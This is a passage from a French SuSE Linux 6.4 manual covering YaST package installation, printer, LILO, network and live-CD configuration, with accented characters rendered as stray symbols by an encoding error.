  6666.                            tels que par exemple des versions corrigΘes ou de nouvelles versions que nous
  6667.                            tenons α votre disposition sur notre serveur FTP ftp.suse.com. Mais il peut
  6668.                            s'agir aussi de paquetages que vous avez peut-Ωtre ΘlaborΘs vous-mΩme ou
  6669.                            que vous vous Ωtes procurΘs α d'autres sources. Les archives tar compressΘes
  6670.                            (.tgz)  sont  supportΘes,  de  mΩme  que  les  paquetages  RPM  (.rpm,  .spm,
  6671.  
  6672.  
  6673. 98
  6674.        _____________________________________________________________________3.4.__DΘterminer_la_taille_de_l'installation___________*
  6675.  *______________________
  6676.  
  6677.  
  6678.  
  6679. .src.rpm) et les paquetages de patches spΘciaux (.pat) que nous mettons
  6680. aussi α votre disposition sur notre serveur FTP.
  6681.  
  6682. La procΘdure d'installation se dΘroule en 3_Θtapes_(des instructions dΘtaillΘes
  6683. vous seront donnΘes si vous appuyez sur |F___|1) :
  6684.  
  6685.  
  6686.   ~   SΘlection de la source d'installation
  6687.  
  6688.   ~   SΘlection parmi les paquetages qui y sont proposΘs
  6689.  
  6690.   ~   Installation des paquetages
  6691.  
  6692.  
  6693. Sous  l'option  du  menu  `Source  :'  vous  obtiendrez,  avec  |_____|_-,  une  liste
  6694. de  sΘlection  des  sources  d'installation  possibles  :  `RΘpertoire',  `FTP',
  6695. `Support  d'installation'  et  `Disquette'.  Modifiez  le _cas_ ΘchΘant
  6696. le chemin prΘconfigurΘ (rΘpertoire/FTP) et validez avec | _____|-. YaST  Θtablit
  6697. maintenant une liste des paquetages qui y sont disponibles. Avec `FTP', il
  6698. est  donc  possible  d'installer  directement  α  partir  d'Internet.  L'adresse  est  :
  6699. ftp.suse.com:/pub/suse/i386    /update/6.4    (voir figure 3.16). Il n'est
  6700. pas  encore  possible  pour  le  moment  d'intΘgrer  des  paquetages  par  le  biais
  6701. d'un ``proxy''. Il vous faut un accΦs direct au serveur FTP concernΘ.
  6702.                           Fig. 3.16: Inclure des paquetages via FTP
  6703.  
  6704.  
  6705.        _______________________________________________________________________________________________________________________||
  6706.        ||||||||  Si vous recevez un message tel que "530  User  ftp  access  denied.",                          |||            |
  6707.        ||||||||                                                                                                 ||             |
  6708.        ||||||||  cela signifie probablement qu'un login FTP n'est pas possible actuellement                     ||             |
  6709.        ||||||||  du fait que les utilisateurs dΘjα connectΘs sont trop nombreux. Faites une                     ||             |
  6710.        ||||||||                                                                                                 ||             |
  6711.        ||||||||  nouvelle tentative plus tard.                                                                  ||             |
  6712.        ||||||||_______________________________________________________________________________________________________________||_
  6713.  
  6714. Avancez  jusqu'au  paquetage  rpm  que  vous  voulez _installer._ Vous  devrez
  6715. comme  d'habitude  le  marquer  d'une  croix  avec  |_________E|spaceet  l'installer  avec
  6716.  F10   |||||||||__. Le paquetage concernΘ sera ensuite placΘ dans le rΘpertoire
  6717.  
  6718. /tmp/ftp<numΘro  de  processus>                             afin  qu'il  soit  possible  de  l'instal-
  6719. ler  manuellement  plus  tard  si  quelque  chose  ne  marche  pas    (voir  para-
  6720. graphe 15.3.1 page 415) .
  6721.  
  6722.  
  6723.  
  6724.                                                                                                                                    *
  6725.  *     99
  6726. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6727.  *_______________________________________@
  6728.  
  6729.  
  6730.  
  6731.                            3.4.10       Effacer des paquetages
  6732.                            Si vous sΘlectionnez cette option du menu, YaST  vous montre une liste de
  6733.  
  6734.                            tous les paquetages qui sont installΘs dans votre systΦme. Il vous montre aussi
  6735.                            des paquetages ``Θtrangers'', c'est α dire des paquetages qui ne se trouvent pas
  6736.                            sur le CD SuSE     Linux. Pour de tels paquetages, YaST  ne peut pas effectuer
  6737.                            de mise α jour et il ne peut pas non plus vΘrifier leurs dΘpendances.
  6738.  
  6739.                            Le  plus  simple  est  de  remplacer  ces  paquetages  par  les  paquetages  corres-
  6740.                            pondant du CD SuSE     . Pour ce faire, vous sΘlectionnerez_les paquetages en
  6741.                            question dans la liste qui vous est prΘsentΘe. Avec |F___|2, vous verrez une brΦve
  6742.                            description du paquetage Θtranger car_il n'existe pas pour ces paquetages de
  6743.                            fichiers descriptifs dΘtaillΘs. |F____1|0efface les paquetages.
  6744.  
  6745.                            Vous pourrez ensuite installer le paquetage correspondant α partir du CD.
  6746.  
  6747.  
  6748.  
  6749.                            3.5       Mise α jour du systΦme
  6750.  
  6751.                            Vous ne devriez utiliser l'option du menu `Mettre  α  jour  le  systΦme'
  6752.                            que si votre systΦme de base est suffisamment actuel ~ en d'autres termes s'il
  6753.                            concorde avec le support source. En cas de doute, YaST  vous le fera savoir
  6754.                            clairement.
  6755.  
  6756.                            Vous dΘmarrerez la mise α jour du systΦme comme il est dΘcrit au chapitre 15
  6757.                            page 403 ; vous remplacerez certains paquetages avec YaST  conformΘment
  6758.                            aux instructions du paragraphe 3.4.9 page 98.
  6759.  
  6760.  
  6761.  
  6762.                            3.6       Administration du systΦme
  6763.  
  6764.                            YaST  vous aide non seulement au cours de l'installation mais aussi dans les
  6765.                            diffΘrentes tΓches de gestion auxquelles vous allez vous voir confrontΘ en tant
  6766.                            qu'+  administrateur systΦme               fraεchement Θmoulu.
  6767.  
  6768.                            AprΦs avoir terminΘ l'installation proprement dite ~ aprΦs que les paquetages
  6769.                            aient ΘtΘ copiΘs sur le disque dur ~   il vous reste encore un tas de choses α
  6770.                            faire pour personnaliser votre systΦme :
  6771.  
  6772.                            IntΘgrer  le  matΘriel,  configurer  et  activer  les  services  rΘseau,  crΘer  des
  6773.                            comptes  utilisateurs,  dΘterminer  le  comportement  de  SuSE      Linux  au  dΘ-
  6774.                            marrage, etc.
  6775.  
  6776.                            Vous arriverez α l'administration du systΦme en sΘlectionnant dans le menu
  6777.                            principal de YaST  (voir figure 3.1 page 82) l'option `Administration  du
  6778.                            systΦme'.
  6779.  
  6780.  
  6781.                            3.6.1      IntΘgrer le matΘriel dans le systΦme
  6782.  
  6783.                            Vous  pouvez  ici  spΘcifier  de  faτon  plus  dΘtaillΘe  le  matΘriel  utilisΘ.  Dans
  6784.                            la  majeure  partie  des  cas,  il  sera  crΘΘ  un  lien  symbolique  (+  lien)  pointant
  6785.                            d'un pΘriphΘrique standard sur celui que vous utilisez et il vous sera possible
  6786.                            d'accΘder α tout moment au matΘriel correspondant sans avoir α retenir le nom
  6787.                            exact des diffΘrents composants.
  6788.  
  6789.                            La configuration de la souris, du modem, du scanner, de la carte rΘseau et du
  6790.                            lecteur de CD-ROM est trΦs simple - suivez les menus ;-)
  6791.  
  6792.  
  6793. 100
  6794.        ___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
  6795.  *______________________
  6796.  
  6797.  
  6798.  
  6799.  
  6800.                              Fig. 3.17: Administration du systΦme
  6801.                                Fig. 3.18: Configuration matΘrielle
  6802.  
  6803.  
  6804.  
  6805. La configuration de l'imprimante dΘcrite au paragraphe suivant est par contre
  6806. nettement plus compliquΘe :
  6807.  
  6808.  
  6809.  
  6810. Configurer l'imprimante
  6811.  
  6812. L'accΦs α une imprimante sous Linux est un processus complexe. L'arriΦre-
  6813. plan technique est dΘcrit de faτon dΘtaillΘe au chapitre 12 page 333. Il existe
  6814. heureusement,  avec  apsfilter ,  un  filtre  trΦs  puissant  qui  reconnaεt  automati-
  6815. quement  le  type  d'un  fichier  et  peut  le  convertir  de  faτon  optimale  pour  le
  6816. sortir sur l'imprimante.
  6817.  
  6818. Sous Linux ~ tout comme sous Unix ~ le format PostScript joue gΘnΘralement
  6819. un r⌠le de premier plan. La sortie d'un fichier PostScript sur une imprimante
  6820. est relativement triviale. Toutefois, trΦs peu d'utilisateurs disposent d'une telle
  6821. imprimante en raison de son prix. On a alors recours α Ghostscript  (gs  ) qui
  6822.  
  6823.  
  6824.                                                                                                                                    *
  6825.  *   101
  6826. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6827.  *_______________________________________@
  6828.  
  6829.  
  6830.  
  6831.                            est un programme libre capable d'interprΘter un document PostScript et de le
  6832.                            convertir de faτon α ce qu'il puisse Ωtre traitΘ directement par l'imprimante.
  6833.  
  6834.                            Lorsqu'on utilise le programme apsfilter , les fichiers ASCII sont Θgalement
  6835.                            convertis vers PostScript et sortis soit directement sur une imprimante pou-
  6836.                            vant  gΘrer  PostScript  soit,  au  moyen  de  GhostScript ,  sur  n'importe  quelle
  6837.                            autre imprimante.
  6838.  
  6839.                            YaST  vous  donne  la  possibilitΘ  d'installer  aisΘment  le  filtre  apsfilter  pour
  6840.                            l'imprimante que vous utilisez (figure 3.19) :
  6841.                                                       Fig. 3.19: Installer apsfilter avec YaST
  6842.  
  6843.  
  6844.                            Si  vous  possΘdez  une  imprimante  couleur,  activez  l'option  correspondante
  6845.                            dans le masque. Sous `Type  de  l'imprimante', vous prΘciserez si votre
  6846.                            imprimante peut ou non gΘrer PostScript.
  6847.  
  6848.                            Sous l'option `Nom  de  l'imprimante', il vous sera montrΘ toutes les im-
  6849.                            primantes  supportΘes  par  Ghostscript .  Vous  devrez  sΘlectionner  dans  cette
  6850.                            liste  celle  que  vous  utilisez  (voir  paragraphe  12.6  page  349).  Dans  le  cas
  6851.                            o∙ un ``pilote'' ne serait pas mentionnΘ, vous pouvez l'ajouter α la main en
  6852.                            utilisant  les  options  du  menu  `Autre  imprimante'  et  ensuite  `<dΘfini
  6853.                            par  l'utilisateur>'.  VΘrifiez,  α  partir  de  la  ligne  de  commande  avec
  6854.                            gs  -h    , que le pilote que vous dΘsirez est effectivement supportΘ par la ver-
  6855.                            sion Ghostscript installΘe. ~ Pour la configuration du pilote uniprint         avec
  6856.                            le ``fichier de paramΦtres'' correspondant, la mΘthode la plus s√re consiste α
  6857.                            utiliser SETUP  (lprsetp       ) ; voir paragraphe 12.3 page 342. Si votre impri-
  6858.                            mante n'est pas mentionnΘe, essayez avec un modΦle Θquivalent, par exemple
  6859.                            un modΦle antΘrieur. Si vous possΘdez par exemple une imprimante HP La-
  6860.                            serJet 5L, sΘlectionnez tout simplement dans la liste le modΦle HP LaserJet 4.
  6861.  
  6862.                            Comme `Type  de  papier' on choisit habituellement en France A4
  6863.  
  6864.                            Si votre imprimante est connectΘe sur une +  interface sΘrie, vous pouvez aussi
  6865.                            choisir la vitesse en bauds que vous voulez utiliser pour ce port.
  6866.  
  6867.  
  6868. 102
  6869.        ___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
  6870.  *______________________
  6871.  
  6872.  
  6873.  
  6874. Aujourd'hui, les imprimantes sont normalement connectΘes sur port parallΦle
  6875. et  vous  devez  par  consΘquent  spΘcifier  celui  que  vous  utilisez.  Depuis  la
  6876. version 2.2.x du noyau, il s'agit de /dev/lp0 dans la majeure partie des cas
  6877. c'est-α-dire lorsque l'imprimante est reliΘe au premier port parallΦle. /dev/
  6878. lp1  n'entre  en  jeu  que  si  votre  machine  dispose  de  deux  ports  parallΦles.
  6879. /dev/lp2  dΘsigne  le  port  parallΦle  qui  se  trouve  sur  une  carte  graphique
  6880. Hercules 2 .
  6881.        _______________________________________________________________________________________________________________________||||
  6882.        ||||||||  Si  votre  imprimante  ne  fonctionne  pas,  consultez  la  ``liste  de  contr⌠le''            ||             |
  6883.        ||||||||                                                                                                 ||             |
  6884.        ||||||||  (paragraphe 12.7 page 354).                                                                    ||             |
  6885.        ||||||||                                                                                                 ||             |
  6886.        ||||||||  En cas de doute, configurez tout d'abord dans le BIOS les valeurs suivantes                    ||             |
  6887.        ||||||||  pour le port parallΦle :                                                                       ||             |
  6888.        ||||||||                                                                                                 ||             |
  6889.        ||||||||                                                                                                 ||             |
  6890.        ||||||||    ~   Adresse d'E/S 378    (hexadΘcimale)                                                      ||             |
  6891.        ||||||||                                                                                                 ||             |
  6892.        ||||||||    ~   Interruption 7                                                                           ||             |
  6893.        ||||||||                                                                                                 ||             |
  6894.        ||||||||    ~   Mode : Normal (ou SPP)                                                                   ||             |
  6895.        ||||||||                                                                                                 ||             |
  6896.        ||||||||    ~   et dΘsactivez DMA (devrait Ωtre dΘsactivΘ en mode normal)                                ||             |
  6897.        ||||||||                                                                                                 ||             |
  6898.        ||||||||  Il s'agit ici des valeurs standards couramment utilisΘes.                                      ||             |
  6899.        ||||||||_______________________________________________________________________________________________________________||_
  6900.  
  6901. Vous  devez  vΘrifier  la  `rΘsolution  en  dpi'  et  le  cas  ΘchΘant  la  modi-
  6902. fier. Orientez-vous aux instructions contenues dans le manuel de votre impri-
  6903. mante.
  6904. 3.6.2      Configuration du noyau et de l'amorτage
  6905.  
  6906.  
  6907. Vous  pouvez  effectuer  les  configurations  essentielles  pour  l'amorτage  de
  6908. votre systΦme ainsi que pour le noyau utilisΘ :
  6909.  
  6910.                   Fig. 3.20: Configuration du noyau et de l'amorτage
  6911.  
  6912.  
  6913.  
  6914. 2      ____________________________________________________
  6915.   Jusqu'α la version 2.0.xx du noyau, il est accΘdΘ au premier port parallΦle par /dev/lp1.
  6916.  
  6917.  
  6918.                                                                                                                                    *
  6919.  *   103
  6920. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6921.  *_______________________________________@
  6922.  
  6923.  
  6924.  
  6925.                            `SΘlectionner  le  noyau  d'amorτage'
  6926.                            Vous pouvez faire installer, dans votre systΦme, l'un des noyaux prΘcompi-
  6927.  
  6928.                            lΘs (du CD SuSE     ) avec les modules adΘquats (`SΘlectionner  le  noyau
  6929.                            d'amorτage')  si  le  premier  choix  que  vous  avez  fait  lors  de  l'installation
  6930.                            ne s'avΦre pas optimal. YaST  vous proposera alors de copier la configuration
  6931.                            du  noyau  (.config)  dans  le  rΘpertoire  des  sources  du  noyau  (/usr/src/
  6932.                            linux).
  6933.  
  6934.                            SΘlectionnez  le  noyau  pour  votre  machine  et  faites  aussi  rΘinstaller  LILO
  6935.                            par YaST  si vous avez dΘjα pu auparavant amorcer avec succΦs au moyen de
  6936.                            LILO . Si ce n'est pas le cas, voir plus bas les informations sur la configuration
  6937.                            de LILO .
  6938.  
  6939.                            Il est vivement recommandΘ α l'utilisateur aguerri de gΘnΘrer lui-mΩme son
  6940.                            propre noyau aprΦs l'installation (voir chapitre 13 page 359). Un tel noyau
  6941.                            ~ exactement taillΘ sur mesure pour votre systΦme personnel ~ est plus petit,
  6942.                            plus rapide et vous Θvite d'avoir des problΦmes de pilotes avec du matΘriel
  6943.                            non existant. Si vous Ωtes toutefois encore peu familiarisΘ avec Linux, vous
  6944.                            devriez utiliser l'un des noyaux standards fournis avec la distribution. Vous
  6945.                            n'avez droit en effet au service de l'Assistance Technique α l'Installation que
  6946.                            si vous utilisez un noyau standard. (voir le paragraphe H.1 page 557.)
  6947.  
  6948.  
  6949.                            `CrΘation  d'une  disquette  de  secours'
  6950.  
  6951.                            Une ``disquette de secours'' ou ``d'urgence'' (angl. rescue disk) peut s'avΘrer
  6952.                            utile (`CrΘation  d'une  disquette  de  secours') dans le cas o∙ votre
  6953.                            machine refuserait de dΘmarrer ~ pour en savoir plus long sur le contenu et
  6954.                            l'utilisation de la disquette, lisez le paragraphe 16.5 page 438.
  6955.  
  6956.  
  6957.                            `Configurer  LILO'
  6958.  
  6959.                            Pour une configuration correcte de LILO  (angl. LInux LOader), YaST  vous
  6960.                            propose aussi un frontal (figure 3.21 page suivante). Il est Θgalement possible
  6961.                            de dΘmarrer avec LILO  les systΦmes OS/2, DOS et Windows 95/98 ~ mais la
  6962.                            prudence s'impose avec Windows NT. Vous trouverez des Θclaircicements sur
  6963.                            la signification des diffΘrents champs et options des masques de configuration
  6964.                            au chapitre 4 page 117.
  6965.  
  6966.                            La  `ligne  d'append  pour  paramΦtres  du  noyau'  reste  en  gΘnΘral
  6967.                            vide,  α  moins  que  vous  n'ayez  dΘjα  d√  utiliser  des  paramΦtres  supplΘmen-
  6968.                            taires pour l'amorτage. Dans un tel cas, inscrivez ici ces paramΦtres (toutefois
  6969.                            sans les faire prΘcΘder du nom de noyau linux     !). Les dΘtails seront explicitΘs
  6970.                            au paragraphe 4.4.2 page 127.
  6971.  
  6972.                            `O∙  LILO  doit-il  Ωtre  installΘ ?'  :  Si  vous  avez  uniquement  Li-
  6973.                            nux  sur  votre  machine,  l'emplacement  appropriΘ  sera  le  secteur  maεtre
  6974.                            d'amorτage         . Choisissez le secteur  d'amorτage  de  la  partition  boot
  6975.                            si  vous  voulez  lancer  Linux  α  l'aide  d'un  gestionnaire  d'amorτage  ``Θtran-
  6976.                            ger''.  Dans  le  cas  o∙  vous  n'auriez  pas  crΘΘ  de  partition  /boot,  sΘlec-
  6977.                            tionnez    le    secteur  d'amorτage  de  la  partition  root                              .    L'option
  6978.                            Sur  disquette             n'a  pas  besoin  d'Ωtre  expliquΘe.  La  technique  de  cette
  6979.                            configuration vous sera prΘsentΘe α la page 121.
  6980.  
  6981.  
  6982. 104
  6983.        ___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
  6984.  *______________________
  6985.  
  6986.  
  6987.  
  6988.                                    Fig. 3.21: LILO  : Installation
  6989. `DΘlai  avant  l'amorτage' : Le temps d'attente est indiquΘ en secondes.
  6990. 10 secondes constituent une bonne valeur.
  6991.  
  6992. `Option  "linear"' : Cette option n'est gΘnΘralement pas nΘcessaire ; voir
  6993. aussi paragraphe 4.4.2 page 127. Avec `F4=Nouv.config', vous dΘtermine-
  6994. rez le nom d'une nouvelle ``configuration''. Le nom linux      pour la configura-
  6995. tion standard a fait ses preuves. S'il existe dΘjα des configurations, faites-les
  6996. modifier avec `F5=╔dit  Config'. Dans ce but, YaST  met α votre disposi-
  6997. tion un masque que vous pouvez voir dans la figure 3.22. Signification des
  6998. diffΘrents champs :
  6999.  
  7000.                       Fig. 3.22: LILO  : Configuration de l'amorτage
  7001.  
  7002.  
  7003.                                                                                                                                    *
  7004.  *   105
  7005. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7006.  *_______________________________________@
  7007.  
  7008.  
  7009.  
  7010.                            `Nom  de  la  configuration' : Vous avez ici carte blanche, mais pour la
  7011.                            premiΦre configuration, choisissez linux     .
  7012.                            `Quel  systΦme  d'exploitation' : Vous avez les possibilitΘs suivantes :
  7013.                            Lancer  Linux          , Lancer  DOS          ~ c'est aussi l'option qui convient pour Win-
  7014.                            dows 95/98 ~ et Lancer  OS/2
  7015.  
  7016.                            `Partition  (racine)  α  amorcer' : Elle est dΘjα prΘdΘfinie, en gΘnΘral
  7017.                            vous n'aurez rien α changer ici. Appuyez sur `F3' et choisissez la partition
  7018.                            appropriΘe.
  7019.  
  7020.                            `Noyau  optionnel' : Ne faites une croix que si le noyau n'est pas constam-
  7021.                            ment disponible comme c'est le cas par exemple d'un noyau que l'on ne veut
  7022.                            installer qu'une seule fois pour effectuer des tests.
  7023.  
  7024.                            `Noyau  que  LILO  doit  amorcer' : Ici non plus vous n'aurez pas besoin,
  7025.                            en rΦgle gΘnΘrale, de modifier ce qui est dΘjα prΘvu. Son emplacement stan-
  7026.                            dard sous SuSE     Linux est /boot/vmlinuz ; avec `F3', vous avez la possi-
  7027.                            bilitΘ de ``naviguer'' dans la structure des rΘpertoires.
  7028.  
  7029.                            Avec `Continuer', LILO est installΘ, avec `Annuler', vous pouvez arrΩter
  7030.                            l'installation de LILO .
  7031.                            ________________________________________________________________________________________________________*
  7032.  *________|||
  7033.                            |  Nous  vous  conseillons,  lorsque  vous  configurerez  Linux  dans  LILO ,  de                       *
  7034.  *        ||||
  7035.                            |                                                                                                       *
  7036.  *        |||
  7037.                            |  prΘvoir  encore  une  deuxiΦme  configuration  (par  exemple  old  )  que  vous                      *
  7038.  *        |||
  7039.                            |  dΘfinirez  comme  Θtant  le  noyau  α  amorcer  /boot/vmlinuz.old  et  de                            *
  7040.  *        |||
  7041.                            |                                                                                                       *
  7042.  *        |||
  7043.                            |  marquer d'une croix le champ `Noyau  optionnel'. Lors d'une nouvelle                                 *
  7044.  *        |||
  7045.                            |  compilation du noyau (voir chapitre 13 page 359) avec installation auto-                             *
  7046.  *        |||
  7047.                            |                                                                                                       *
  7048.  *        |||
  7049.                            |  matique  de  LILO ,  une  copie  de  sauvegarde  de  votre  ancien  noyau  sera                      *
  7050.  *        |||
  7051.                            |  automatiquement installΘe. Votre systΦme pourra ainsi Ωtre dΘmarrΘ mΩme                              *
  7052.  *        |||
  7053.                            |                                                                                                       *
  7054.  *        |||
  7055.                            |  si le nouveau noyau ne fonctionne pas comme il se doit !                                             *
  7056.  *        |||
  7057.                            |_______________________________________________________________________________________________________*
  7058.  *________|||_
  7059.  
  7060.                            3.6.3      Configuration rΘseau
  7061.  
  7062.                            Cette  configuration  peut  Ωtre  rΘalisΘe  avec  YaST  (voir  figure  3.23  page  ci-
  7063.                            contre). Vous devez absolument la faire mΩme si votre machine ne se trouve
  7064.                            pas  vraiment  dans  un  rΘseau  avec  carte  rΘseau  ou  analogue !  Le  bon  fonc-
  7065.                            tionnement de nombreux programmes est en effet conditionnΘ par le support
  7066.                            rΘseau.
  7067.  
  7068.                            `Configuration  de  base  du  rΘseau'                            Il sera assignΘ ici les +  adresses IP
  7069.                                  qui seront associΘes aux interfaces rΘseau (carte rΘseau, pΘriphΘrique PPP
  7070.                                  ou ISDN, voir figure 3.24 page suivante). Voir la page 154 et les pages
  7071.                                  suivantes qui vous fourniront une explication de tous ces termes.
  7072.                                  Vous pouvez ici, avec `F3=Auto-IP', sΘlectionner les services DHCP     ou
  7073.                                  BOOTP     pour utiliser une configuration IP automatique.
  7074.  
  7075.                            `Changer  le  nom  de  la  machine'                        Le nom d'h⌠te (angl. hostname) et le
  7076.                                  nom de domaine de la machine peuvent Ωtre ici modifiΘs (voir α ce sujet
  7077.                                  la page 154 et pages suivantes).
  7078.  
  7079.                            `Configurer  les  services  rΘseau'                            DerriΦre  cette  option  se  cachent
  7080.                                  les services rΘseau souvent requis : inetd  (pour telnet , ftp , l'impression
  7081.                                  etc.),  portmap  (pour  serveurs  NFS  et  NIS)  et  rpc.nfsd  (pour  serveurs
  7082.                                  NFS).
  7083.  
  7084.  
  7085. 106
  7086.        ___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
  7087.  *______________________
  7088.  
  7089.  
  7090.  
  7091.  
  7092.                                   Fig. 3.23: Configurer le rΘseau
  7093.  
  7094.  
  7095.                          Fig. 3.24: Configuration de base du rΘseau
  7096.  
  7097.  
  7098.  
  7099. `Configuration  du  serveur  de  noms'                             Il  est  possible  de  spΘcifier  un
  7100.       ou plusieurs serveurs de noms (voir page 455).
  7101.  
  7102. `Configurer  le  client  YP'                       Cette  option  est  active  lorsque  le  paque-
  7103.       tage ypclient, sΘrie n est installΘ (voir le paragraphe 5.4 page 165 ainsi
  7104.       que la page 457).
  7105.  
  7106. `Configurer  sendmail'                     Il est possible d'installer un fichier de configu-
  7107.       ration pour sendmail . Ce fichier offre une fonctionnalitΘ suffisante pour
  7108.       tout ce qui peut Ωtre nΘcessaire en diffΘrentes circonstances.
  7109.  
  7110. `GΘrer  l'imprimante  rΘseau'                         Il  est  possible  d'installer  ici  toutes  les
  7111.       imprimantes accessibles en rΘseau via TCP/IP. Remplissez ce masque si
  7112.       vous souhaitez accΘder α l'imprimante lp   connectΘe au serveur d'impres-
  7113.       sion soleil.cosmos.univers sous le nom local remote      .
  7114.  
  7115.       Si vous avez besoin d'un prΘfiltrage pour cette imprimante, lisez le para-
  7116.       graphe 12.4 page 346 et pages suivantes.
  7117.  
  7118.  
  7119.                                                                                                                                    *
  7120.  *   107
  7121. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7122.  *_______________________________________@
  7123.  
  7124.  
  7125.  
  7126.                            `Piloter  l'imprimante  via  Samba'                            Cette option est active lorsque le
  7127.                                  paquetage samba, sΘrie n est installΘ. C'est ainsi que l'on accΦde α une
  7128.                                  imprimante connectΘe α une machine Windows.
  7129.  
  7130.                            `Piloter  l'imprimante  via  Novell'                             Cette option est active lorsque le
  7131.                                  paquetage ncpfs, sΘrie n est installΘ.
  7132.  
  7133.                            `Configurer  les  paramΦtres  ISDN'                            Cette option est active lorsque le
  7134.                                  paquetage i4l, sΘrie n est installΘ. Pour ISDN, il est mis α votre dispo-
  7135.                                  sition  des  menus  trΦs  dΘtaillΘs  (voir  les  explications  au  paragraphe  6.2
  7136.                                  page 173).
  7137.  
  7138.                            `Configurer  le  rΘseau  PPP'                       Cette option permet d'installer PPP (voir
  7139.                                  les explications donnΘes au paragraphe 6.1 page 171).
  7140.  
  7141.  
  7142.                            Pour une configuration plus poussΘe du rΘseau, reportez-vous au chapitre 5
  7143.                            page 153.
  7144.  
  7145.  
  7146.                            3.6.4      Configurer le systΦme live
  7147.  
  7148.                            IndΘpendamment  de  SuSE     Linux,  vous  pouvez  acquΘrir  le  CD-ROM  ``sys-
  7149.                            tΦme de fichiers live'' contre paiement, ou vous procurer l'image ISO depuis
  7150.                            le  serveur  FTP  (ftp://ftp.suse.com/pub/suse/i386/).  Ce  CD-ROM
  7151.                            amorτable peut Ωtre utilisΘ pour diffΘrentes tΓches :
  7152.  
  7153.  
  7154.                              ~   └  partir  de  ce  CD-ROM,  vous  pouvez  lancer  directement  un  systΦme
  7155.                                  Linux (incluant le systΦme X Window) sans avoir α installer quoi que ce
  7156.                                  soit sur votre disque dur. Ceci peut Ωtre utile, par exemple dans le cas o∙
  7157.                                  vous voudriez vΘrifier si une machine dΘterminΘe fonctionne avec SuSE
  7158.                                  Linux  ou  dans  le  cas  o∙  vous  souhaiteriez  avoir  un  systΦme  de  secours
  7159.                                  complet et indestructible α disposition (voir paragraphe 16.5 page 438).
  7160.  
  7161.                              ~   Il est en outre possible d'intΘgrer le ``systΦme live'' dans un systΦme SuSE
  7162.                                  Linux  rΘguliΦrement  installΘ.  Ceci  n'est  toutefois  utile  que  si  vous  ne
  7163.                                  disposez  pas  de  suffisamment  de  place  sur  le  disque  dur  pour  pouvoir
  7164.                                  installer  un  systΦme  standard  complet.  C'est  ce  deuxiΦme  point  qui  va
  7165.                                  maintenant Ωtre traitΘ.
  7166.                            ________________________________________________________________________________________________________*
  7167.  *________
  7168.                            |  Notez que le systΦme live ne peut mettre α disposition qu'un choix restreint                         *
  7169.  *        |||
  7170.                            |                                                                                                       *
  7171.  *        |||
  7172.                            |  de programmes ~ l'espace sur un support CD est limitΘ.                                               *
  7173.  *        |||
  7174.                            |_______________________________________________________________________________________________________*
  7175.  *________|||_
  7176.  
  7177.                            YaST  propose  l'option  du  menu  pour  l'intΘgration  du  systΦme  de  fichiers
  7178.                            live.  Si  vous  le  souhaitez,  il  sera  crΘΘ  des  liens  symboliques  pour  tous  les
  7179.                            paquetages qui n'ont pas encore ΘtΘ installΘs. Ces liens pointent sur les pro-
  7180.                            grammes du CD. Les programmes pourront ainsi Ωtre chargΘs sans problΦme
  7181.                            α partir du CD et sans occuper d'espace mΘmoire sur le disque. Notez qu'α
  7182.                            partir de maintenant vous devrez toujours avoir le CD contenant le systΦme
  7183.                            de fichiers live (CD 4) dans votre lecteur car il est montΘ en ce moment (le
  7184.                            +  point  de  montage  est  /S.u.S.E.).  Si  vous  dΘsirez  utiliser  un  autre  CD,
  7185.                            amorcez d'abord avec le CD live, dΘmontez-le avec
  7186.  
  7187.                                  terre:  #  umount  /S.u.S.E.
  7188.  
  7189.                            et montez ensuite l'autre CD.
  7190.  
  7191.  
  7192. 108
  7193.        ___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
  7194.  *______________________
  7195.  
  7196.  
  7197.  
  7198. Il peut toutefois arriver que mΩme des programmes fondamentaux soient in-
  7199. tΘgrΘs α partir du CD live. Dans ce cas, certains programmes tourneront aprΦs
  7200. le  dΘmarrage  α  partir  du  CD,  de  telle  sorte  que  celui-ci  ne  pourra  pas  Ωtre
  7201. dΘmontΘ. Le systΦme de base est cependant conτu de telle maniΦre qu'il peut
  7202. tourner sans ce CD. Amorcez alors votre systΦme, retirez le CD du lecteur
  7203. et relancez Linux. Vous recevrez bien quelques messages d'erreur mais vous
  7204. pourrez les ignorer. Tous les programmes nΘcessaires pour l'accΦs α un CD
  7205. sont contenus dans le systΦme.
  7206.  
  7207. Si, lorsque vous intΘgrez le CD, vous recevez le message d'erreur "No  space
  7208. left  on  device", ceci est peut Ωtre d√ au fait que la densitΘ des +  i-noeuds
  7209. sur la partition est trop minime. Cela peut trΦs vite se produire avec de petites
  7210. partitions. Il n'y a malheureusement pas d'autre solution possible que d'ef-
  7211. fectuer un nouveau formatage. SpΘcifiez une densitΘ plus haute (par exemple
  7212. 1 Ko au lieu de 4 Ko par i-noeud - voir aussi α ce sujet le paragraphe 3.3.10
  7213. page 91).
  7214.  
  7215. Si  votre  disque  est  saturΘ  et  si  l'intΘgration  a  ΘtΘ  stoppΘe  de  ce  fait,  vous
  7216. ne pourrez mΩme plus lancer YaST  pour dΘconnecter le systΦme de fichiers
  7217. live.  Il  n'est  en  effet  plus  possible  α  YaST  de  gΘnΘrer  les  fichiers  dont  il
  7218. a  besoin  pour  le  dΘmarrage.  Supprimez  maintenant  quelques  uns  des  liens
  7219. symboliques qui pointent sur /S.u.S.E./... 3   Vous lancerez ensuite YaST
  7220. et dΘconnecterez le systΦme de fichiers live.
  7221.  
  7222. L'avantage du systΦme live est constituΘ par le peu d'espace requis. Les in-
  7223. convΘnients sont les suivants :
  7224.  
  7225.   ~   L'accΦs au systΦme live est lent car les accΦs au lecteur de CD-ROM sont
  7226.       nettement moins rapides que les accΦs au disque dur.
  7227.  
  7228.   ~   Comme il est nΘcessaire de crΘer un trΦs grand nombre de liens symbo-
  7229.       liques qui requiΦrent chacun un +  i-noeud, vous devez avoir suffisamment
  7230.       d'i-noeuds disponibles. Le nombre d'i-noeuds a dΘjα ΘtΘ dΘterminΘ au mo-
